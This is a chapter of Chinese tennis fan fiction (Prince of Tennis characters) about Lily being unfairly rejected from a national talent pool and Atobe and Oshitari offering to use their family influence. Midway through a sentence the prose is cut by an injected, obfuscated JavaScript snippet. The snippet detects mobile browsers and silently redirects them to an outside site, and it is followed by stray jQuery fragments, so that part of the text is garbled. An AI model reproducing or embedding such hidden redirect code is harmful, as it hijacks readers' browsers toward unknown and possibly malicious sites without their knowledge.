不怪她连着两天都泡在红土场,不然莉莉走在路上都会被各种拦截,四号、五号球场的女生们,嚷着“来淬炼一下我吧”就吻了上来。
她们的水平不低,却总是好像差了口气,难以再往前突破一步。
莉莉想到入江的话:“好说好说,有没有人陪我练红土?”
“?我们没资格!没资格进好了吧,你这个坏女人。”
只可惜这两天连绵下雨,红土顿时变泥地,她只好恋恋不舍,忍痛放弃,在对话框里向手冢抱怨:好不容易有了点手感就打不了了,唉,真伤心。
对方尚未回复,她也就百无聊赖地上划翻记录,随便看看历史对话。
[Lily]三号球场轻轻松松,够天才么?嘴叼玫瑰.jpg
[Tezuka]为你打call.jpg
[Tezuka]已经睡了?
[Tezuka]抱歉,刚刚队里找我谈话,因此回复慢了些。期待你更多的留言,晚安,莉莉。
才发现此人还用上表情包了,可爱。再面无表情的冰山也只有十几岁罢了,她笑了一下。
本来莉莉的心情还挺好的,不过笑容只维持到看到名单的瞬间。疑惑着从头到尾又看了一遍,她奇怪极了:“这上面怎么没我的名字?”
她从后山种地回归的当天,就了解到争夺球场排序的原因。排序靠前,意味着被选拔进入JTA人才库的可能更大,那为什么排在她后面的人在公示的入选名单上,而她却不在?
“实力不够突出,有待继续接受深造。”
这是JTA给的反馈,看得她很懵:“什么意思?”
和她的反应相比,其他人面色凝重。忍足第一个把退回申请的回信从她手里抽出来:“意味着你被人做局了……”
迹部有些怒:“在三号球场维持这样的胜率,还不足以说明实力?有待继续深造,不就是说你受训时间短么?又不是谁学球时间长,谁就自动获胜!这表明有人拿这个理由故意卡你。”
她皱了下眉:“那我该怎么办?”听说人才库计划是为了配套后面的国际青少年U-17组赛事,那她的申请被退回了,还能去国外打比赛吗?
莉莉很怕麻烦,也很少关注场外的事。全神贯注打着球,怎么还得操心这些。
他看着她,语气沉稳,轻描淡写:“需要我们出面么?”
怨恨的种子从日美交流赛时就种下了,她取代青木成为女单1号,还打出如此漂亮出色的场面,一时风头无二,就有人越发憎恨起她,认为是她抢走了自家女儿出成绩的机会。
再加上青木赛后一下子像进入叛逆期似的,各种不听话,还宣称要主攻女子双打,真是让有些人气急攻心,把所有罪名都归结到莉莉头上。
他们不会恨自己的女儿,但他们一定要找个替罪羊来承受怒火。
动动嘴皮子,让JTA退回她的申请而已,很简单,零成本。协会也不愿意得罪部门里的人嘛。国内女选手多的是,最不缺的就是人才,谁会替没有背景的莉莉出头?
迹部觉得不齿,又觉得可笑:为了那点面子,至于做到这个地步,去扼杀一个大有希望的选手吗?
不过是JTA而已,他冷漠地想着,迹部财阀这点权力和金钱还是有的吧?如果没人为她出头,那他愿意成为她的背景。
他从不炫耀自己有钱,也从没觉得这是件多重要的事。一个人高贵与否,不被身外之物所决定,其他人对他的认同皆来源于他的人格和能力。
而此时,他对黑幕和乱象感到失望,甚至庆幸起迹部家拥有这样的能量。
幸好他有钱,他能够帮她拿到本就该属于她的东西。
他和忍足对视一眼,在对方眼里看到了同样的念头。
“我考虑下。”她犹豫了一秒,没有立刻拒绝。
说不心动是假的。尤其是依照排序进入人才库,对她来说明明十拿九稳。如果这里都被卡,那以后怎么向JTA申请注册职业资格?
等她和忍足离开后,迹部给家里打电话,把事情说了。
瑛子在那边啪嗒啪嗒敲键盘,不知在处理什么事务,一心多用忙到飞起,半晌问道:“就这事?那孩子是录像里的那个?”
她在商界雷厉风行很多年,公司实权一把抓,这种人的记忆力不可能不好,被他一说,瞬间就联想到半夜儿子不睡觉,默默看人家打球的录像了。
“……嗯。”
瑛子停下手里的动作,微微一笑:“景吾,家里从不管你花多少钱、买什么东西,我的儿子我就宠,你只要开心做自己就好。但以财阀名义介入政府部门和行业管理机构的对话,就不得不考虑一个问题:这件事有没有必要做,做了有什么好处,做了会不会有潜在风险。我需要对家族负责。”
“青木这个姓氏我知道……他是东京都体育振兴部门的理事,有一定的话语权。你应该知道,我们想在未来五年内建立运动品牌,入驻体育行业,何必得罪业内人士、轻易为自己树敌?”
“景吾,这件事涉及我们家族的未来规划,那你应当拿出足够的筹码说服我,这次是母子间的对话,下次则是面向理事会的谈判。我早就教过你的,绝对事业不以任何人的意志为转移,即使是你喜欢的女孩儿。”
“我为她发声并非因为对她的感情。”他的声线很平稳,“我认可她的能力,判断她极具潜力和商业价值。要建立自家运动品牌,何不进行长线投资,提前签订合约,培养她作为未来代言人?我认为在她身上绝对能得到数倍的回报。”
瑛子没说话,却对他展现出的成熟态度感到欣慰。迹部家下一任继承人绝不能是恋爱脑,商业就是商业,她是商人,只在意值不值得。
“母亲?”那边沉默,让他有点忐忑。虽然这样说,但莉莉毕竟还没达到一号球场的水平。
“既然你为她背书,那择日我会请人过去评估她的价值。记得对其他人保密,否则我随时可以放弃。”
“知道了,那我去训
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793539|170273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练了。”
“不再多和妈妈聊会吗?平常训练累不累?连自己的照片都不拍几张!”瑛子顿时有种自己被利用完就没用的感觉,假意生气。
“你不是在忙?”他很无语。
迹部打电话时,忍足扯着她往外走:“居然这样对你,日本体育已经没有公平可言了,完蛋了,都毁灭吧!”
“你认真的?”她微笑,忍足比她还愤慨。
是有些生气,更多的是茫然,不知道努力方向在哪里。听说还有机会被列为人才库考察名单,同时作为U-17选手替补,但既然从一开始就拒了她,还会给她这种可能吗?
“竟敢欺负我徒儿,真当忍足家里没人吗。”他嘟囔着,却听到她说:“不要做,也告诉迹部不要做。”
“什么?”他怔住,恍然大悟,“怕欠我们人情么?应该不是麻烦事,塞个人进去罢了~瞧瞧现在,各行各业哪个地方没有关系户嘛。哎呀,要还人情还不简单,师父我是个好人,不为难你。”
“我不知道。我只是觉得,这样做的话和他们有什么不同?”她没有顺着他的玩笑话继续说,沉默片刻只道,“它不该被权力扭曲。”
“傻徒儿,依照排序的话,本来就应当有你的名额。你想和我辩论一通程序正义和结果正义哪个更重要么?”忍足笑。不过低头看到她腿上有块淤青,他的笑又隐去了。
“什么,程序……正义?”她迷惑,没听懂。
“怎么搞的?”他反而指着淤青问。
“在哪磕碰的吧?害,打球哪有不受伤的。”她看了看,压根没当回事。第一次在红土场滑完步回去,两个脚指甲下都是黑色瘀血,不比这点淤青严重的多?
当然,这还不是最痛的,最痛的是新鞋完全被染成红土限定色,再也刷不干净了!莉莉气得捶胸顿足一晚上,最后借了漂白剂才拯救回来。
他当然知道。搞竞技的没谁不带伤,皮肉伤算是最轻的。只是,他看到这些出现在她身上,有些闷闷不乐。
她不知道他在沉默什么:“唔,从更长远的角度来说,也要珍惜自己的羽毛吧?我可不希望以后被人拿着这个事大做文章,又骂我。我会去问问榊教练的意见,看看有没有别的路子。办法总比困难多嘛!”
场上场下,保持冷静。这是网球教会她最重要的事。
“现在不说他是活阎王了?”这人在冰帝骂骂咧咧、对榊太郎咬牙切齿的场景真是历历在目。人家也是为她好,虽说训练强度确实很大。
“呸,不许说他坏话。我现在是他最忠实的学生,唯他命令是从。”她严肃纠正。
“真是个善变的家伙。”忍足哈哈大笑,“给你赐号榊卫兵。”
莉莉翻了个白眼,却又站定在他身前,转过头来微微笑,非常真诚地道谢:“但还是谢谢你的好意啦,侑士师父。”
风把她的头发和裙摆吹拂而起。
忍足说不出话,看着她的笑脸,从没觉得有哪一刻像现在这样怦然心动。